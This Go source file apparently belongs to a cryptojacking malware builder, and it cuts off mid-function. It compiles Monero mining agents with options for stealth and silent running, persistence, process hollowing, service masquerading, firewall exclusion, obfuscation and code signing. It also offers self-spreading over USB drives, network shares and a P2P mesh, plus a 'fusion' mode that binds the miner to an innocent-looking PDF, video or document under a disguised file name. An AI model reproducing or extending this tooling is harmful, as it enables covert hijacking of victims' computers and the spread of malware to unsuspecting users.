package builder import ( "context" "encoding/json" "fmt" "io" "log" "mime/multipart" "net/http" "os" "os/exec" "path/filepath" "strings" "sync" "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" "github.com/google/uuid" ) type BuildRequest struct { WorkerName string `json:"worker_name"` ServerURL string `json:"server_url"` BackupServerURLs []string `json:"backup_server_urls"` Wallet string `json:"wallet"` OutputDir string `json:"output_dir"` Threads int `json:"threads"` ThreadMode string `json:"thread_mode"` ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MiningMode string `json:"mining_mode"` DisplayMode string `json:"display_mode"` SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` AutoStart bool `json:"auto_start"` Persistence bool `json:"persistence"` ProcessName string `json:"process_name"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` ScheduleEnd string `json:"schedule_end"` InstallBase string `json:"install_base"` InstallCustomBase string `json:"install_custom_base"` InstallRelativePath string `json:"install_relative_path"` AdaptToHardware bool `json:"adapt_to_hardware"` SelfHealing bool `json:"self_healing"` FileLogging bool `json:"file_logging"` StealthMode bool `json:"stealth_mode"` FirewallExclusion bool `json:"firewall_exclusion"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` FusionEnabled bool `json:"fusion_enabled"` FusionRunOrder string `json:"fusion_run_order"` FusionOutputName string `json:"fusion_output_name"` FusionPayloadKind string `json:"fusion_payload_kind"` FusionMediaMode string `json:"fusion_media_mode"` FusionMediaBaseName string `json:"fusion_media_base_name"` FusionExportSubdir string `json:"fusion_export_subdir"` // AI Autonomy (Ollama) AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` ProcessHollowing bool `json:"process_hollowing"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` HolePunch bool `json:"hole_punch"` RemoteAggressive bool `json:"remote_aggressive"` USBSpread bool `json:"usb_spread"` ShareSpread bool `json:"share_spread"` TargetOS string `json:"target_os"` TargetArch string `json:"target_arch"` SpreadKit bool `json:"spread_kit"` Obfuscate bool `json:"obfuscate"` SignBuild bool `json:"sign_build"` BackupPools []BackupPool `json:"backup_pools"` // CancelToken is a client-generated UUID. Pass the same token to // DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile. CancelToken string `json:"cancel_token,omitempty"` } // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. type BackupPool struct { Host string `json:"host"` Port int `json:"port"` TLS bool `json:"tls"` Pass string `json:"pass"` } type BuildResponse struct { Success bool `json:"success"` BuildID string `json:"build_id,omitempty"` FileName string `json:"file_name,omitempty"` FilePath string `json:"file_path,omitempty"` RelativePath string `json:"relative_path,omitempty"` FileSize int64 `json:"file_size,omitempty"` DownloadURL string `json:"download_url,omitempty"` UninstallFileName string `json:"uninstall_file_name,omitempty"` UninstallPath string `json:"uninstall_path,omitempty"` UninstallDownloadURL string `json:"uninstall_download_url,omitempty"` ExportPath string `json:"export_path,omitempty"` UninstallExportPath string `json:"uninstall_export_path,omitempty"` FusionEnabled bool `json:"fusion_enabled,omitempty"` FusionExportDir string `json:"fusion_export_dir,omitempty"` ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"` BundleFileName string `json:"bundle_file_name,omitempty"` BundleDownloadURL string `json:"bundle_download_url,omitempty"` BundleSize int64 `json:"bundle_size,omitempty"` WorkerFile string `json:"worker_file,omitempty"` Signed bool `json:"signed,omitempty"` Obfuscated bool `json:"obfuscated,omitempty"` Error string `json:"error,omitempty"` } type BuildArtifactFile struct { FileName string `json:"file_name"` FilePath string `json:"file_path,omitempty"` } func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile { if len(arts) == 0 { return nil } out := make([]models.BuildExtraFile, len(arts)) for i, a := range arts { out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath} } return out } type Handler struct { db *db.Database dataDir string agentSrcDir string projectRoot string goBinPath string garblePath string goWinresPath string serverModDir string policy BuildPolicy fleetSecret string // injected from server config; baked into every forge output // Active build cancellation — maps cancel_token → cancel func so the frontend // can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}. activeCancelsMu sync.Mutex activeCancels map[string]context.CancelFunc } // SetFleetSecret stores the fleet secret so it is baked into every forged binary. func (h *Handler) SetFleetSecret(secret string) { h.fleetSecret = secret } // CancelBuild cancels an in-progress build identified by cancelToken. // Returns true if the token was found and cancelled, false if unknown. func (h *Handler) CancelBuild(cancelToken string) bool { h.activeCancelsMu.Lock() cancel, ok := h.activeCancels[cancelToken] h.activeCancelsMu.Unlock() if ok { cancel() } return ok } func (h *Handler) registerCancel(token string, cancel context.CancelFunc) { h.activeCancelsMu.Lock() if h.activeCancels == nil { h.activeCancels = make(map[string]context.CancelFunc) } h.activeCancels[token] = cancel h.activeCancelsMu.Unlock() } func (h *Handler) unregisterCancel(token string) { if token == "" { return } h.activeCancelsMu.Lock() delete(h.activeCancels, token) h.activeCancelsMu.Unlock() } type SignPolicy struct { Enabled bool `json:"enabled"` CertThumbprint string `json:"cert_thumbprint"` ToolPath string `json:"tool_path"` TimestampURL string `json:"timestamp_url"` } type BuildPolicy struct { StrictWalletValidation bool MaxBuildSizeMB int DefaultObfuscate bool Sign SignPolicy } func (h *Handler) SetBuildPolicy(p BuildPolicy) { h.policy = p } func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler { goBin := "go" if _, err := exec.LookPath("go"); err == nil { goBin = "go" } h := &Handler{ db: database, dataDir: dataDir, agentSrcDir: agentSrcDir, projectRoot: projectRoot, goBinPath: goBin, } h.resolveToolPaths(projectRoot) return h } func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } var req BuildRequest var prepPath string var cleanupPrep func() contentType := r.Header.Get("Content-Type") if strings.HasPrefix(contentType, "multipart/form-data") { if err := r.ParseMultipartForm(64 << 20); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"}) return } configJSON := r.FormValue("config") if configJSON == "" { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"}) return } if err := json.Unmarshal([]byte(configJSON), &req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"}) return } file, header, err := r.FormFile("prep_exe") if req.FusionEnabled { if err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"}) return } defer file.Close() if req.FusionMediaBaseName == "" && header.Filename != "" { req.FusionMediaBaseName = header.Filename } if req.FusionOutputName == "" && header.Filename != "" { req.FusionOutputName = header.Filename } if req.FusionPayloadKind == "" { req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) } saved, remove, err := h.saveUploadedFusionPayload(file, header) if err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) return } prepPath = saved cleanupPrep = remove } else if err == nil { file.Close() } } else { if err := json.NewDecoder(r.Body).Decode(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"}) return } } if cleanupPrep != nil { defer cleanupPrep() } if err := h.normalizeRequest(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) return } if req.FusionEnabled && prepPath == "" { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"}) return } // Register cancel token so the frontend can abort this compile mid-flight. // The ctx is threaded all the way down to exec.CommandContext, so cancellation // immediately sends SIGKILL to the running go/garble process. ctx := r.Context() if req.CancelToken != "" { var cancelFn context.CancelFunc ctx, cancelFn = context.WithCancel(ctx) h.registerCancel(req.CancelToken, cancelFn) defer h.unregisterCancel(req.CancelToken) } // FusionOutputName will be derived from the payload filename if not set resp, status, outputPath := h.buildAgent(ctx, &req, prepPath) if !resp.Success { writeJSON(w, status, resp) return } if r.URL.Query().Get("download") == "1" { w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName)) http.ServeFile(w, r, outputPath) return } writeJSON(w, http.StatusOK, resp) } func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } var req BuildRequest var prepPath string var prepSize int64 var prepName string var cleanupPrep func() contentType := r.Header.Get("Content-Type") if strings.HasPrefix(contentType, "multipart/form-data") { if err := r.ParseMultipartForm(64 << 20); err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"}) return } configJSON := r.FormValue("config") if configJSON == "" { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"}) return } if err := json.Unmarshal([]byte(configJSON), &req); err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"}) return } file, header, err := r.FormFile("prep_exe") if err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"}) return } defer file.Close() if header != nil { prepSize = header.Size prepName = header.Filename } if req.FusionPayloadKind == "" { req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) } saved, remove, err := h.saveUploadedFusionPayload(file, header) if err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()}) return } prepPath = saved cleanupPrep = remove } else { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"}) return } if cleanupPrep != nil { defer cleanupPrep() } if err := h.normalizeRequest(&req); err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()}) return } if !req.FusionEnabled { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"}) return } if req.FusionOutputName == "" && prepName != "" { req.FusionOutputName = prepName } est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName) writeJSON(w, http.StatusOK, est) } func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") build, err := h.db.GetBuild(buildID) if err != nil { http.Error(w, "Build not found", http.StatusNotFound) return } if _, err := os.Stat(build.FilePath); err != nil { http.Error(w, "Build file missing", http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath))) http.ServeFile(w, r, build.FilePath) } func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") if _, err := h.db.GetBuild(buildID); err != nil { http.Error(w, "Build not found", http.StatusNotFound) return } name := sanitizeFileName(chi.URLParam(r, "name")) if name == "" || strings.Contains(name, "..") { http.Error(w, "Invalid artifact name", http.StatusBadRequest) return } buildDir := filepath.Join(h.dataDir, "builds", buildID) path, err := safePathUnderRoot(buildDir, name) if err != nil { if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" { title = sanitizeFileName(filepath.Base(title)) deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir) path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name) } } if err != nil { http.Error(w, "Artifact not found", http.StatusNotFound) return } if _, err := os.Stat(path); err != nil { http.Error(w, "Artifact not found", http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name)) http.ServeFile(w, r, path) } func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") build, err := h.db.GetBuild(buildID) if err != nil { http.Error(w, "Build not found", http.StatusNotFound) return } // Uninstall script lives in buildDir (builds//), NOT in the platform // sub-directory where the binary lives (builds//windows-amd64/). // Compute directly from dataDir + buildID to avoid path-stripping mistakes. buildDir := filepath.Join(h.dataDir, "builds", buildID) uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))) if _, err := os.Stat(uninstallPath); err != nil { http.Error(w, "Uninstall script missing", http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath))) http.ServeFile(w, r, uninstallPath) } func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) { if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" { return h.buildUniversalAgent(ctx, req, prepPath) } buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") if err := os.MkdirAll(agentDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" } if err := h.copyAgentSource(agentDir); err != nil { log.Printf("Failed to copy agent source: %v", err) return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" } configDir := filepath.Join(agentDir, "config") if err := os.MkdirAll(configDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, "" } platforms := platformsForRequest(req) p := platforms[0] outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled) if err != nil { log.Printf("Build failed: %v", err) return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } obfuscated := h.shouldObfuscate(req) && h.garblePath != "" workerName := filepath.Base(outputPath) finalPath := outputPath finalName := workerName var fusionEnabled bool uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req) if err != nil { return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, "" } var extraArtifacts []BuildArtifactFile var fusionRes *fusionBuildResult if req.FusionEnabled { if req.FusionPayloadKind == "" { req.FusionPayloadKind = detectFusionPayloadKind(prepPath) } var err error fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } finalPath = fusionRes.LauncherPath finalName = filepath.Base(finalPath) fusionEnabled = true if fusionRes.EncryptedPath != "" { extraArtifacts = append(extraArtifacts, BuildArtifactFile{ FileName: filepath.Base(fusionRes.EncryptedPath), FilePath: fusionRes.EncryptedPath, }) } if fusionRes.ShortcutPath != "" { extraArtifacts = append(extraArtifacts, BuildArtifactFile{ FileName: filepath.Base(fusionRes.ShortcutPath), FilePath: fusionRes.ShortcutPath, }) } } var fusionExportDir string var bundleFileName string var bundleDownloadURL string var bundleSize int64 exportPath := "" if fusionEnabled { exportLabel := req.FusionMediaBaseName if exportLabel == "" { exportLabel = filepath.Base(prepPath) } arts := map[string]string{finalName: finalPath} for _, ex := range extraArtifacts { arts[ex.FileName] = ex.FilePath } // In paired mode the runner looks for the payload file next to (or above) the binary. // Include it in the deliverable so the ZIP is self-contained without needing the // user to place the file themselves. if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" { arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath } subdir := fusionExportSubdir(req, exportLabel) readme := fusionReadmeInfo{ Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)), RunnerName: finalName, MediaName: filepath.Base(exportLabel), PayloadKind: req.FusionPayloadKind, MediaMode: req.FusionMediaMode, } if readme.Title == "" { readme.Title = sanitizeFileName(req.WorkerName) } dir, err := h.publishFusionDeliverable(subdir, arts, readme) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } fusionExportDir = dir exportPath = filepath.Join(dir, finalName) extraArtifacts = append(extraArtifacts, BuildArtifactFile{ FileName: "README.txt", FilePath: filepath.Join(dir, "README.txt"), }) for i := range extraArtifacts { if extraArtifacts[i].FileName != "README.txt" { extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName) } } bundleFileName = fusionBundleZipName(subdir) bundleBuildPath := filepath.Join(buildDir, bundleFileName) if err := zipDirectory(dir, bundleBuildPath); err != nil { return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, "" } _ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName)) if st, err := os.Stat(bundleBuildPath); err == nil { bundleSize = st.Size() } bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName) } else { var err error exportPath, err = h.publishRootExecutable(finalPath, finalName) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } } if exportPath == "" { exportPath, _ = filepath.Abs(finalPath) } if strings.TrimSpace(req.OutputDir) != "" { if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil { log.Printf("[Builder] secondary export: %v", err) } else { _ = eu if exportPath == "" { exportPath = ep } } } signed := false if h.shouldSignBuild(req) { if err := h.signExecutable(finalPath); err != nil { return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, "" } signed = true if exportPath != "" && exportPath != finalPath { _ = h.signExecutable(exportPath) } } fileInfo, err := os.Stat(finalPath) if err != nil { return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" } if h.policy.MaxBuildSizeMB > 0 { maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024 if fileInfo.Size() > maxBytes { _ = os.RemoveAll(buildDir) return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, "" } } absPath, _ := filepath.Abs(finalPath) relPath, _ := filepath.Rel(h.projectRoot, absPath) if relPath == "" || strings.HasPrefix(relPath, "..") { relPath = filepath.Join(h.dataDir, "builds", buildID, finalName) } // Normalise platform tag for easy lookup by /get endpoint recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS)) if recordPlatform == "" { recordPlatform = "windows" } dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID) if bundleDownloadURL != "" { dlURL = bundleDownloadURL } buildRecord := &models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, Threads: req.Threads, FileSize: fileInfo.Size(), BundleSize: bundleSize, FilePath: absPath, FileName: finalName, DownloadURL: dlURL, ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts), Platform: recordPlatform, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, } if err := h.db.InsertBuild(buildRecord); err != nil { log.Printf("Failed to record build: %v", err) return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, "" } resp := BuildResponse{ Success: true, BuildID: buildID, FileName: finalName, FilePath: absPath, RelativePath: relPath, FileSize: fileInfo.Size(), DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID), UninstallFileName: uninstallName, UninstallPath: uninstallPath, UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID), ExportPath: exportPath, UninstallExportPath: "", FusionEnabled: fusionEnabled, FusionExportDir: fusionExportDir, ExtraFiles: extraArtifacts, BundleFileName: bundleFileName, BundleDownloadURL: bundleDownloadURL, BundleSize: bundleSize, WorkerFile: workerName, Signed: signed, Obfuscated: obfuscated, } if fusionEnabled && bundleDownloadURL != "" { resp.DownloadURL = bundleDownloadURL resp.FileName = bundleFileName if bundleSize > 0 { resp.FileSize = bundleSize } } return resp, http.StatusOK, finalPath } // publishRootExecutable writes the forged installer as a single file in the project root. func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) { if h.projectRoot == "" || h.projectRoot == "." { abs, _ := filepath.Abs(finalPath) return abs, nil } dest := filepath.Join(h.projectRoot, filepath.Base(finalName)) if err := copyFile(finalPath, dest); err != nil { return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err) } log.Printf("[Builder] Forge output -> %s", dest) return dest, nil } // exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports). func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) { clean := strings.TrimSpace(outputDir) if clean == "" { return "", "", nil } clean = filepath.Clean(clean) if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) { return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)") } exportDir := "" if h.projectRoot != "" { exportDir = filepath.Join(h.projectRoot, clean) } else { exportDir = filepath.Join(h.dataDir, clean) } if err := os.MkdirAll(exportDir, 0755); err != nil { return "", "", fmt.Errorf("failed to create export folder: %w", err) } exportExe := filepath.Join(exportDir, finalName) if err := copyFile(finalPath, exportExe); err != nil { return "", "", fmt.Errorf("failed to export build: %w", err) } exportUninstall := filepath.Join(exportDir, uninstallName) _ = copyFile(uninstallPath, exportUninstall) log.Printf("[Builder] Exported %s -> %s", finalName, exportExe) return exportExe, exportUninstall, nil } func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.WorkerName == "" { return fmt.Errorf("worker_name is required") } if req.ServerURL == "" { return fmt.Errorf("server_url is required") } if req.Wallet == "" { return fmt.Errorf("wallet is required") } if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) { return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)") } req.OutputDir = strings.TrimSpace(req.OutputDir) if req.OutputDir != "" { // must be relative to data_dir; no drive letters, no absolute paths, no traversal clean := filepath.Clean(req.OutputDir) if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") { return fmt.Errorf("output_dir must be a relative folder under data_dir") } req.OutputDir = clean } if req.Threads <= 0 { req.Threads = 4 } if req.ThreadMode == "" { req.ThreadMode = "percent" } if req.ThreadPercent <= 0 { req.ThreadPercent = 75 } if req.ThreadPercent > 100 { req.ThreadPercent = 100 } if req.DisplayMode == "" { if req.SilentMode { req.DisplayMode = "silent" } else { req.DisplayMode = "background" } } if req.Persistence { req.AutoStart = true } if req.ProcessName == "" { req.ProcessName = sanitizeFileName(req.WorkerName) } if req.MaxMemoryPct <= 0 { req.MaxMemoryPct = 70 } if req.CPUPriority == "" { req.CPUPriority = "below_normal" } if req.MiningMode == "" { req.MiningMode = "always" } if req.RunAs == "" { req.RunAs = "user" } if req.MaxCPUUsagePct <= 0 { req.MaxCPUUsagePct = 80 } if req.MinFreeRAMMB <= 0 { req.MinFreeRAMMB = 1024 } if req.IdleThresholdPct <= 0 { req.IdleThresholdPct = 20 } if req.IdleDurationMinutes <= 0 { req.IdleDurationMinutes = 5 } if req.ScheduleStart == "" { req.ScheduleStart = "21:00" } if req.ScheduleEnd == "" { req.ScheduleEnd = "06:00" } if req.InstallBase == "" { req.InstallBase = "localappdata" } if req.InstallRelativePath == "" { req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}" } if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" { return fmt.Errorf("install_custom_base is required when install_base is custom") } if req.StealthMode { req.FileLogging = false if req.DisplayMode == "" || req.DisplayMode == "visible" { req.DisplayMode = "background" } } if req.PoolHost == "" { req.PoolHost = "pool.supportxmr.com" } if req.PoolPort <= 0 { req.PoolPort = 3333 } if req.PoolPass == "" { req.PoolPass = "x" } if req.FusionEnabled { if req.FusionRunOrder == "" { req.FusionRunOrder = "parallel" } if req.FusionOutputName == "" || req.FusionOutputName == "prep.exe" { if base := strings.TrimSpace(req.FusionMediaBaseName); base != "" { req.FusionOutputName = disguisedRunnerName(base) } else if req.FusionOutputName == "" { req.FusionOutputName = "prep.exe" } } if req.FusionMediaMode == "" { req.FusionMediaMode = "paired" } req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode) if req.DisplayMode == "" || req.DisplayMode == "visible" { req.DisplayMode = "background" } } if req.AIEnabled { if req.AIOllamaEndpoint == "" { req.AIOllamaEndpoint = "http://localhost:11434" } if req.AIModel == "" { req.AIModel = "llama3.2" } } if strings.TrimSpace(req.TargetOS) == "" { req.TargetOS = "windows" } if req.SpreadKit { req.FusionEnabled = false req.TargetOS = "universal" if req.RunAs == "" || req.RunAs == "user" { req.RunAs = "scheduled" } req.Persistence = true req.AutoStart = true } return nil } func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) { if header == nil { return "", nil, fmt.Errorf("fusion upload is missing") } if header.Size > FusionMaxUploadBytes { return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes)) } if header.Size < 0 { return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file") } baseName := filepath.Base(header.Filename) if baseName == "" || baseName == "." { return "", nil, fmt.Errorf("fusion upload filename is invalid") } if !isFusionPayloadExt(baseName) { return "", nil, fmt.Errorf("fusion upload has no recognisable file extension") } prepRoot := filepath.Join(h.dataDir, "preps") if err := os.MkdirAll(prepRoot, 0755); err != nil { return "", nil, fmt.Errorf("failed to create preps directory: %w", err) } dir, err := os.MkdirTemp(prepRoot, "upload-*") if err != nil { return "", nil, err } dest := filepath.Join(dir, sanitizeFileName(baseName)) out, err := os.Create(dest) if err != nil { os.RemoveAll(dir) return "", nil, err } written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1)) out.Close() if err != nil { os.RemoveAll(dir) return "", nil, err } if written == 0 { os.RemoveAll(dir) return "", nil, fmt.Errorf("fusion upload is empty") } if written > FusionMaxUploadBytes { os.RemoveAll(dir) return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes)) } cleanup := func() { _ = os.RemoveAll(dir) } return dest, cleanup, nil } // isFusionPayloadExt accepts any file with a non-empty extension. // Fusion now supports any file type — PDF, video, document, image, executable, etc. func isFusionPayloadExt(name string) bool { ext := strings.ToLower(filepath.Ext(name)) return ext != "" && ext != "." } func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string { return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT // Build ID: %s // Generated at: %s package config import "time" func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: %q, ServerURL: %q, Wallet: %q, Threads: %d, ThreadMode: %q, ThreadPercent: %d, CPUPriority: %q, MiningMode: %q, DisplayMode: %q, SilentMode: %v, RunAs: %q, AutoStart: %v, ProcessName: %q, BuildID: %q, BuiltAt: time.Unix(%d, 0), PoolHost: %q, PoolPort: %d, PoolTLS: %v, PoolPass: %q, MaxCPUUsage: %d, MaxMemoryPct: %d, MinFreeRAM: %d, IdleThresholdPct: %d, IdleDurationMinutes: %d, ScheduleStart: %q, ScheduleEnd: %q, InstallBase: %q, InstallCustomBase: %q, InstallRelativePath: %q, AdaptToHardware: %v, SelfHealing: %v, FileLogging: %v, StealthMode: %v, FirewallExclusion: %v, AIEnabled: %v, AIOllamaEndpoint: %q, AIModel: %q, ProcessHollowing: %v, MeshP2P: %v, AutoSpread: %v, HolePunch: %v, RemoteAggressive: %v, USBSpread: %v, ShareSpread: %v, BackupServerURLs: %s, BackupPools: %s, ServiceMasquerade: %v, ServiceName: %q, ServiceDonor: %q, FleetSecret: %q, } } `, buildID, time.Now().UTC().Format(time.RFC3339), req.WorkerName, req.ServerURL, req.Wallet, req.Threads, req.ThreadMode, req.ThreadPercent, req.CPUPriority, req.MiningMode, req.DisplayMode, req.SilentMode, req.RunAs, req.AutoStart, req.ProcessName, buildID, time.Now().Unix(), req.PoolHost, req.PoolPort, req.PoolTLS, req.PoolPass, req.MaxCPUUsagePct, req.MaxMemoryPct, req.MinFreeRAMMB, req.IdleThresholdPct, req.IdleDurationMinutes, req.ScheduleStart, req.ScheduleEnd, req.InstallBase, req.InstallCustomBase, req.InstallRelativePath, req.AdaptToHardware, req.SelfHealing, req.FileLogging, req.StealthMode, req.FirewallExclusion, req.AIEnabled, req.AIOllamaEndpoint, req.AIModel, req.ProcessHollowing, req.MeshP2P, req.AutoSpread, req.HolePunch, req.RemoteAggressive, req.USBSpread, req.ShareSpread, formatGoStringSlice(req.BackupServerURLs), formatGoBackupPools(req.BackupPools), serviceMasqueradeEnabled(req), serviceMasqueradeName(buildID, req), serviceMasqueradeDonor(buildID, req), h.fleetSecret, ) } // formatGoBackupPools emits a Go literal for []config.BackupPool. func formatGoBackupPools(pools []BackupPool) string { if len(pools) == 0 { return "nil" } var sb strings.Builder sb.WriteString("[]BackupPool{") for i, p := range pools { if i > 0 { sb.WriteString(", ") } pass := p.Pass if pass == "" { pass = "x" } fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass) } sb.WriteString("}") return sb.String() } func serviceMasqueradeEnabled(req *BuildRequest) bool { return req.RunAs == "service" || req.ProcessHollowing } func serviceMasqueradeName(buildID string, req *BuildRequest) string { if !serviceMasqueradeEnabled(req) { return "" } name, _ := pickServiceMasquerade(buildID) return name } func serviceMasqueradeDonor(buildID string, req *BuildRequest) string { if !serviceMasqueradeEnabled(req) { return "" } _, donor := pickServiceMasquerade(buildID) return donor } func (h *Handler) copyAgentSource(destDir string) error { srcDir := h.agentSrcDir return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error { if err != nil 